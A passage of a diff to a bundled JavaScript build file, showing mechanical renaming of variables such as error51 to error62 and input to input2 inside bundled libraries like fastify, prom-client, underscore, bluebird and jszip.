opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -47958,16 +47958,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -48940,12 +48940,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -49032,42 +49032,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -49248,11 +49248,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response2.prototype.destroy = function(error51) { + Response2.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -50743,12 +50743,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb2) { - cb2(error51); + cb2(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb2); @@ -52815,28 +52815,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node2(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node2(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last2)) { + if (node2 === p.get_child(last2)) { ggp.set_child(dir2, single_rotate(gp, !last2)); } else { ggp.set_child(dir2, double_rotate(gp, !last2)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -52846,8 +52846,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -52859,34 +52859,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node2(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last2 = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last2, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last2); if (sibling !== null) { if (!is_red(sibling.get_child(!last2)) && !is_red(sibling.get_child(last2))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last2))) { @@ -52896,7 +52896,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -52905,8 +52905,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -52915,8 +52915,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root2, dir) { var save = root2.get_child(!dir); @@ -52967,21 +52967,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node2(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node2(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -52989,23 +52989,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node2(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -55316,8 +55316,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values3.some((value2) => string4.startsWith(value2))) { return acc; } @@ -55347,8 +55347,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -55382,8 +55382,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -55431,11 +55431,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module2.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -55450,8 +55450,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -55482,8 +55482,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -55515,8 +55515,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -55903,8 +55903,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -56063,8 +56063,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -56368,15 +56368,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -56432,8 +56432,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -56707,12 +56707,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -56790,11 +56790,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -58237,31 +58237,31 @@ var init_isArrayLike = __esm({ }); // node_modules/.pnpm/underscore@1.13.8/node_modules/underscore/modules/_flatten.js -function flatten(input, depth, strict) { +function flatten(input2, depth, strict) { if (!depth && depth !== 0) depth = Infinity; - var output = [], idx = 0, i = 0, length = getLength_default(input) || 0, stack = []; + var output2 = [], idx = 0, i = 0, length = getLength_default(input2) || 0, stack = []; while (true) { if (i >= length) { if (!stack.length) break; var frame = stack.pop(); i = frame.i; - input = frame.v; - length = getLength_default(input); + input2 = frame.v; + length = getLength_default(input2); continue; } - var value = input[i++]; + var value = input2[i++]; if (stack.length >= depth) { - output[idx++] = value; + output2[idx++] = value; } else if (isArrayLike_default(value) && (isArray_default(value) || isArguments_default(value))) { - stack.push({ i, v: input }); + stack.push({ i, v: input2 }); i = 0; - input = value; - length = getLength_default(input); + input2 = value; + length = getLength_default(input2); } else if (!strict) { - output[idx++] = value; + output2[idx++] = value; } } - return output; + return output2; } var init_flatten = __esm({ "node_modules/.pnpm/underscore@1.13.8/node_modules/underscore/modules/_flatten.js"() { @@ -58464,13 +58464,13 @@ var init_after = __esm({ // node_modules/.pnpm/underscore@1.13.8/node_modules/underscore/modules/before.js function before(times2, func) { - var memo; + var memo2; return function() { if (--times2 > 0) { - memo = func.apply(this, arguments); + memo2 = func.apply(this, arguments); } if (times2 <= 1) func = null; - return memo; + return memo2; }; } var init_before = __esm({ @@ -58682,21 +58682,21 @@ var init_map = __esm({ // node_modules/.pnpm/underscore@1.13.8/node_modules/underscore/modules/_createReduce.js function createReduce(dir) { - var reducer = function(obj2, iteratee2, memo, initial2) { + var reducer = function(obj2, iteratee2, memo2, initial2) { var _keys = !isArrayLike_default(obj2) && keys(obj2), length = (_keys || obj2).length, index2 = dir > 0 ? 0 : length - 1; if (!initial2) { - memo = obj2[_keys ? _keys[index2] : index2]; + memo2 = obj2[_keys ? _keys[index2] : index2]; index2 += dir; } for (; index2 >= 0 && index2 < length; index2 += dir) { var currentKey = _keys ? _keys[index2] : index2; - memo = iteratee2(memo, obj2[currentKey], currentKey, obj2); + memo2 = iteratee2(memo2, obj2[currentKey], currentKey, obj2); } - return memo; + return memo2; }; - return function(obj2, iteratee2, memo, context2) { + return function(obj2, iteratee2, memo2, context2) { var initial2 = arguments.length >= 3; - return reducer(obj2, optimizeCb(iteratee2, context2, 4), memo, initial2); + return reducer(obj2, optimizeCb(iteratee2, context2, 4), memo2, initial2); }; } var init_createReduce = __esm({ @@ -61433,22 +61433,22 @@ var require_debuggability = __commonJS({ function longStackTracesCaptureStackTrace() { this._trace = new CapturedTrace(this._peekContext()); } - function longStackTracesAttachExtraTrace(error51, ignoreSelf) { - if (canAttachTrace2(error51)) { + function longStackTracesAttachExtraTrace(error62, ignoreSelf) { + if (canAttachTrace2(error62)) { var trace2 = this._trace; if (trace2 !== void 0) { if (ignoreSelf) trace2 = trace2._parent; } if (trace2 !== void 0) { - trace2.attachExtraTrace(error51); - } else if (!error51.__stackCleaned__) { - var parsed = parseStackAndMessage(error51); + trace2.attachExtraTrace(error62); + } else if (!error62.__stackCleaned__) { + var parsed = parseStackAndMessage(error62); util.notEnumerableProp( - error51, + error62, "stack", parsed.message + "\n" + parsed.stack.join("\n") ); - util.notEnumerableProp(error51, "__stackCleaned__", true); + util.notEnumerableProp(error62, "__stackCleaned__", true); } } } @@ -61567,36 +61567,36 @@ var require_debuggability = __commonJS({ } return ret2; } - function stackFramesAsArray(error51) { - var stack = error51.stack.replace(/\s+$/g, "").split("\n"); + function stackFramesAsArray(error62) { + var stack = error62.stack.replace(/\s+$/g, "").split("\n"); for (var i = 0; i < stack.length; ++i) { var line2 = stack[i]; if (" (No stack trace)" === line2 || stackFramePattern.test(line2)) { break; } } - if (i > 0 && error51.name != "SyntaxError") { + if (i > 0 && error62.name != "SyntaxError") { stack = stack.slice(i); } return stack; } - function parseStackAndMessage(error51) { - var stack = error51.stack; - var message2 = error51.toString(); - stack = typeof stack === "string" && stack.length > 0 ? stackFramesAsArray(error51) : [" (No stack trace)"]; + function parseStackAndMessage(error62) { + var stack = error62.stack; + var message2 = error62.toString(); + stack = typeof stack === "string" && stack.length > 0 ? stackFramesAsArray(error62) : [" (No stack trace)"]; return { message: message2, - stack: error51.name == "SyntaxError" ? stack : cleanStack(stack) + stack: error62.name == "SyntaxError" ? stack : cleanStack(stack) }; } - function formatAndLogError(error51, title, isSoft) { + function formatAndLogError(error62, title, isSoft) { if (typeof console !== "undefined") { var message2; - if (util.isObject(error51)) { - var stack = error51.stack; - message2 = title + formatStack(stack, error51); + if (util.isObject(error62)) { + var stack = error62.stack; + message2 = title + formatStack(stack, error62); } else { - message2 = title + String(error51); + message2 = title + String(error62); } if (typeof printWarning === "function") { printWarning(message2, isSoft); @@ -61722,9 +61722,9 @@ var require_debuggability = __commonJS({ if (length < 2) return; var nodes = []; var stackToIndex = {}; - for (var i = 0, node = this; node !== void 0; ++i) { - nodes.push(node); - node = node._parent; + for (var i = 0, node2 = this; node2 !== void 0; ++i) { + nodes.push(node2); + node2 = node2._parent; } length = this._length = i; for (var i = length - 1; i >= 0; --i) { @@ -61761,10 +61761,10 @@ var require_debuggability = __commonJS({ } } }; - CapturedTrace.prototype.attachExtraTrace = function(error51) { - if (error51.__stackCleaned__) return; + CapturedTrace.prototype.attachExtraTrace = function(error62) { + if (error62.__stackCleaned__) return; this.uncycle(); - var parsed = parseStackAndMessage(error51); + var parsed = parseStackAndMessage(error62); var message2 = parsed.message; var stacks = [parsed.stack]; var trace2 = this; @@ -61774,17 +61774,17 @@ var require_debuggability = __commonJS({ } removeCommonRoots(stacks); removeDuplicateOrEmptyJumps(stacks); - util.notEnumerableProp(error51, "stack", reconstructStack(message2, stacks)); - util.notEnumerableProp(error51, "__stackCleaned__", true); + util.notEnumerableProp(error62, "stack", reconstructStack(message2, stacks)); + util.notEnumerableProp(error62, "__stackCleaned__", true); }; var captureStackTrace2 = function stackDetection() { var v8stackFramePattern = /^\s*at\s*/; - var v8stackFormatter = function(stack, error51) { + var v8stackFormatter = function(stack, error62) { if (typeof stack === "string") return stack; - if (error51.name !== void 0 && error51.message !== void 0) { - return error51.toString(); + if (error62.name !== void 0 && error62.message !== void 0) { + return error62.toString(); } - return formatNonError(error51); + return formatNonError(error62); }; if (typeof Error.stackTraceLimit === "number" && typeof Error.captureStackTrace === "function") { Error.stackTraceLimit += 6; @@ -61828,12 +61828,12 @@ var require_debuggability = __commonJS({ Error.stackTraceLimit -= 6; }; } - formatStack = function(stack, error51) { + formatStack = function(stack, error62) { if (typeof stack === "string") return stack; - if ((typeof error51 === "object" || typeof error51 === "function") && error51.name !== void 0 && error51.message !== void 0) { - return error51.toString(); + if ((typeof error62 === "object" || typeof error62 === "function") && error62.name !== void 0 && error62.message !== void 0) { + return error62.toString(); } - return formatNonError(error51); + return formatNonError(error62); }; return null; }([]); @@ -63017,19 +63017,19 @@ var require_using = __commonJS({ if (typeof fn !== "function") { return apiRejection("expecting a function but got " + util.classString(fn)); } - var input; + var input2; var spreadArgs = true; if (len === 2 && Array.isArray(arguments[0])) { - input = arguments[0]; - len = input.length; + input2 = arguments[0]; + len = input2.length; spreadArgs = false; } else { - input = arguments; + input2 = arguments; len--; } var resources = new ResourceList(len); for (var i = 0; i < len; ++i) { - var resource = input[i]; + var resource = input2[i]; if (Disposer.isDisposer(resource)) { var disposer = resource; resource = resource.promise(); @@ -65268,7 +65268,7 @@ var require_results = __commonJS({ exports2.Result = Result2; exports2.success = success2; exports2.warning = warning; - exports2.error = error51; + exports2.error = error62; function Result2(value, messages3) { this.value = value; this.messages = messages3 || []; @@ -65300,7 +65300,7 @@ var require_results = __commonJS({ message: message2 }; } - function error51(exception) { + function error62(exception) { return { type: "error", message: exception.message, @@ -65394,12 +65394,12 @@ var require_base64_js = __commonJS({ } function encodeChunk(uint8, start, end) { var tmp; - var output = []; + var output2 = []; for (var i2 = start; i2 < end; i2 += 3) { tmp = (uint8[i2] << 16 & 16711680) + (uint8[i2 + 1] << 8 & 65280) + (uint8[i2 + 2] & 255); - output.push(tripletToBase64(tmp)); + output2.push(tripletToBase64(tmp)); } - return output.join(""); + return output2.join(""); } function fromByteArray(uint8) { var tmp; @@ -67447,72 +67447,72 @@ var require_base64 = __commonJS({ var utils = require_utils3(); var support = require_support(); var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; - exports2.encode = function(input) { - var output = []; + exports2.encode = function(input2) { + var output2 = []; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; - var i = 0, len = input.length, remainingBytes = len; - var isArray = utils.getTypeOf(input) !== "string"; - while (i < input.length) { + var i = 0, len = input2.length, remainingBytes = len; + var isArray = utils.getTypeOf(input2) !== "string"; + while (i < input2.length) { remainingBytes = len - i; if (!isArray) { - chr1 = input.charCodeAt(i++); - chr2 = i < len ? input.charCodeAt(i++) : 0; - chr3 = i < len ? input.charCodeAt(i++) : 0; + chr1 = input2.charCodeAt(i++); + chr2 = i < len ? input2.charCodeAt(i++) : 0; + chr3 = i < len ? input2.charCodeAt(i++) : 0; } else { - chr1 = input[i++]; - chr2 = i < len ? input[i++] : 0; - chr3 = i < len ? input[i++] : 0; + chr1 = input2[i++]; + chr2 = i < len ? input2[i++] : 0; + chr3 = i < len ? input2[i++] : 0; } enc1 = chr1 >> 2; enc2 = (chr1 & 3) << 4 | chr2 >> 4; enc3 = remainingBytes > 1 ? (chr2 & 15) << 2 | chr3 >> 6 : 64; enc4 = remainingBytes > 2 ? chr3 & 63 : 64; - output.push(_keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4)); + output2.push(_keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4)); } - return output.join(""); + return output2.join(""); }; - exports2.decode = function(input) { + exports2.decode = function(input2) { var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0, resultIndex = 0; var dataUrlPrefix = "data:"; - if (input.substr(0, dataUrlPrefix.length) === dataUrlPrefix) { + if (input2.substr(0, dataUrlPrefix.length) === dataUrlPrefix) { throw new Error("Invalid base64 input, it looks like a data url."); } - input = input.replace(/[^A-Za-z0-9+/=]/g, ""); - var totalLength = input.length * 3 / 4; - if (input.charAt(input.length - 1) === _keyStr.charAt(64)) { + input2 = input2.replace(/[^A-Za-z0-9+/=]/g, ""); + var totalLength = input2.length * 3 / 4; + if (input2.charAt(input2.length - 1) === _keyStr.charAt(64)) { totalLength--; } - if (input.charAt(input.length - 2) === _keyStr.charAt(64)) { + if (input2.charAt(input2.length - 2) === _keyStr.charAt(64)) { totalLength--; } if (totalLength % 1 !== 0) { throw new Error("Invalid base64 input, bad content length."); } - var output; + var output2; if (support.uint8array) { - output = new Uint8Array(totalLength | 0); + output2 = new Uint8Array(totalLength | 0); } else { - output = new Array(totalLength | 0); + output2 = new Array(totalLength | 0); } - while (i < input.length) { - enc1 = _keyStr.indexOf(input.charAt(i++)); - enc2 = _keyStr.indexOf(input.charAt(i++)); - enc3 = _keyStr.indexOf(input.charAt(i++)); - enc4 = _keyStr.indexOf(input.charAt(i++)); + while (i < input2.length) { + enc1 = _keyStr.indexOf(input2.charAt(i++)); + enc2 = _keyStr.indexOf(input2.charAt(i++)); + enc3 = _keyStr.indexOf(input2.charAt(i++)); + enc4 = _keyStr.indexOf(input2.charAt(i++)); chr1 = enc1 << 2 | enc2 >> 4; chr2 = (enc2 & 15) << 4 | enc3 >> 2; chr3 = (enc3 & 3) << 6 | enc4; - output[resultIndex++] = chr1; + output2[resultIndex++] = chr1; if (enc3 !== 64) { - output[resultIndex++] = chr2; + output2[resultIndex++] = chr2; } if (enc4 !== 64) { - output[resultIndex++] = chr3; + output2[resultIndex++] = chr3; } } - return output; + return output2; }; } }); @@ -67774,14 +67774,14 @@ var require_lib3 = __commonJS({ } return self2; }; - handlers.reject = function(self2, error51) { + handlers.reject = function(self2, error62) { self2.state = REJECTED; - self2.outcome = error51; + self2.outcome = error62; if (!process.browser) { if (self2.handled === UNHANDLED) { immediate(function() { if (self2.handled === UNHANDLED) { - process.emit("unhandledRejection", error51, self2); + process.emit("unhandledRejection", error62, self2); } }); } @@ -67789,7 +67789,7 @@ var require_lib3 = __commonJS({ var i = -1; var len = self2.queue.length; while (++i < len) { - self2.queue[i].callRejected(error51); + self2.queue[i].callRejected(error62); } return self2; }; @@ -67868,10 +67868,10 @@ var require_lib3 = __commonJS({ } return promise2; function allResolver(value, i2) { - self2.resolve(value).then(resolveFromAll, function(error51) { + self2.resolve(value).then(resolveFromAll, function(error62) { if (!called) { called = true; - handlers.reject(promise2, error51); + handlers.reject(promise2, error62); } }); function resolveFromAll(outValue) { @@ -67906,10 +67906,10 @@ var require_lib3 = __commonJS({ called = true; handlers.resolve(promise2, response); } - }, function(error51) { + }, function(error62) { if (!called) { called = true; - handlers.reject(promise2, error51); + handlers.reject(promise2, error62); } }); } @@ -68116,8 +68116,8 @@ var require_utils3 = __commonJS({ } } }; - function identity2(input) { - return input; + function identity2(input2) { + return input2; } function stringToArrayLike(str, array2) { for (var i = 0; i < str.length; ++i) { @@ -68215,83 +68215,83 @@ var require_utils3 = __commonJS({ var transform2 = {}; transform2["string"] = { "string": identity2, - "array": function(input) { - return stringToArrayLike(input, new Array(input.length)); + "array": function(input2) { + return stringToArrayLike(input2, new Array(input2.length)); }, - "arraybuffer": function(input) { - return transform2["string"]["uint8array"](input).buffer; + "arraybuffer": function(input2) { + return transform2["string"]["uint8array"](input2).buffer; }, - "uint8array": function(input) { - return stringToArrayLike(input, new Uint8Array(input.length)); + "uint8array": function(input2) { + return stringToArrayLike(input2, new Uint8Array(input2.length)); }, - "nodebuffer": function(input) { - return stringToArrayLike(input, nodejsUtils.allocBuffer(input.length)); + "nodebuffer": function(input2) { + return stringToArrayLike(input2, nodejsUtils.allocBuffer(input2.length)); } }; transform2["array"] = { "string": arrayLikeToString, "array": identity2, - "arraybuffer": function(input) { - return new Uint8Array(input).buffer; + "arraybuffer": function(input2) { + return new Uint8Array(input2).buffer; }, - "uint8array": function(input) { - return new Uint8Array(input); + "uint8array": function(input2) { + return new Uint8Array(input2); }, - "nodebuffer": function(input) { - return nodejsUtils.newBufferFrom(input); + "nodebuffer": function(input2) { + return nodejsUtils.newBufferFrom(input2); } }; transform2["arraybuffer"] = { - "string": function(input) { - return arrayLikeToString(new Uint8Array(input)); + "string": function(input2) { + return arrayLikeToString(new Uint8Array(input2)); }, - "array": function(input) { - return arrayLikeToArrayLike(new Uint8Array(input), new Array(input.byteLength)); + "array": function(input2) { + return arrayLikeToArrayLike(new Uint8Array(input2), new Array(input2.byteLength)); }, "arraybuffer": identity2, - "uint8array": function(input) { - return new Uint8Array(input); + "uint8array": function(input2) { + return new Uint8Array(input2); }, - "nodebuffer": function(input) { - return nodejsUtils.newBufferFrom(new Uint8Array(input)); + "nodebuffer": function(input2) { + return nodejsUtils.newBufferFrom(new Uint8Array(input2)); } }; transform2["uint8array"] = { "string": arrayLikeToString, - "array": function(input) { - return arrayLikeToArrayLike(input, new Array(input.length)); + "array": function(input2) { + return arrayLikeToArrayLike(input2, new Array(input2.length)); }, - "arraybuffer": function(input) { - return input.buffer; + "arraybuffer": function(input2) { + return input2.buffer; }, "uint8array": identity2, - "nodebuffer": function(input) { - return nodejsUtils.newBufferFrom(input); + "nodebuffer": function(input2) { + return nodejsUtils.newBufferFrom(input2); } }; transform2["nodebuffer"] = { "string": arrayLikeToString, - "array": function(input) { - return arrayLikeToArrayLike(input, new Array(input.length)); + "array": function(input2) { + return arrayLikeToArrayLike(input2, new Array(input2.length)); }, - "arraybuffer": function(input) { - return transform2["nodebuffer"]["uint8array"](input).buffer; + "arraybuffer": function(input2) { + return transform2["nodebuffer"]["uint8array"](input2).buffer; }, - "uint8array": function(input) { - return arrayLikeToArrayLike(input, new Uint8Array(input.length)); + "uint8array": function(input2) { + return arrayLikeToArrayLike(input2, new Uint8Array(input2.length)); }, "nodebuffer": identity2 }; - exports2.transformTo = function(outputType, input) { - if (!input) { - input = ""; + exports2.transformTo = function(outputType, input2) { + if (!input2) { + input2 = ""; } if (!outputType) { - return input; + return input2; } exports2.checkSupport(outputType); - var inputType = exports2.getTypeOf(input); - var result2 = transform2[inputType][outputType](input); + var inputType = exports2.getTypeOf(input2); + var result2 = transform2[inputType][outputType](input2); return result2; }; exports2.resolve = function(path) { @@ -68309,15 +68309,15 @@ var require_utils3 = __commonJS({ } return result2.join("/"); }; - exports2.getTypeOf = function(input) { - if (typeof input === "string") { + exports2.getTypeOf = function(input2) { + if (typeof input2 === "string") { return "string"; } - var proto = Object.prototype.toString.call(input); + var proto = Object.prototype.toString.call(input2); if (proto === "[object Array]") { return "array"; } - if (support.nodebuffer && nodejsUtils.isBuffer(input)) { + if (support.nodebuffer && nodejsUtils.isBuffer(input2)) { return "nodebuffer"; } if (support.uint8array && proto === "[object Uint8Array]") { @@ -69181,15 +69181,15 @@ var require_crc32 = __commonJS({ } return crc ^ -1; } - module2.exports = function crc32wrapper(input, crc) { - if (typeof input === "undefined" || !input.length) { + module2.exports = function crc32wrapper(input2, crc) { + if (typeof input2 === "undefined" || !input2.length) { return 0; } - var isArray = utils.getTypeOf(input) !== "string"; + var isArray = utils.getTypeOf(input2) !== "string"; if (isArray) { - return crc32(crc | 0, input, input.length, 0); + return crc32(crc | 0, input2, input2.length, 0); } else { - return crc32str(crc | 0, input, input.length, 0); + return crc32str(crc | 0, input2, 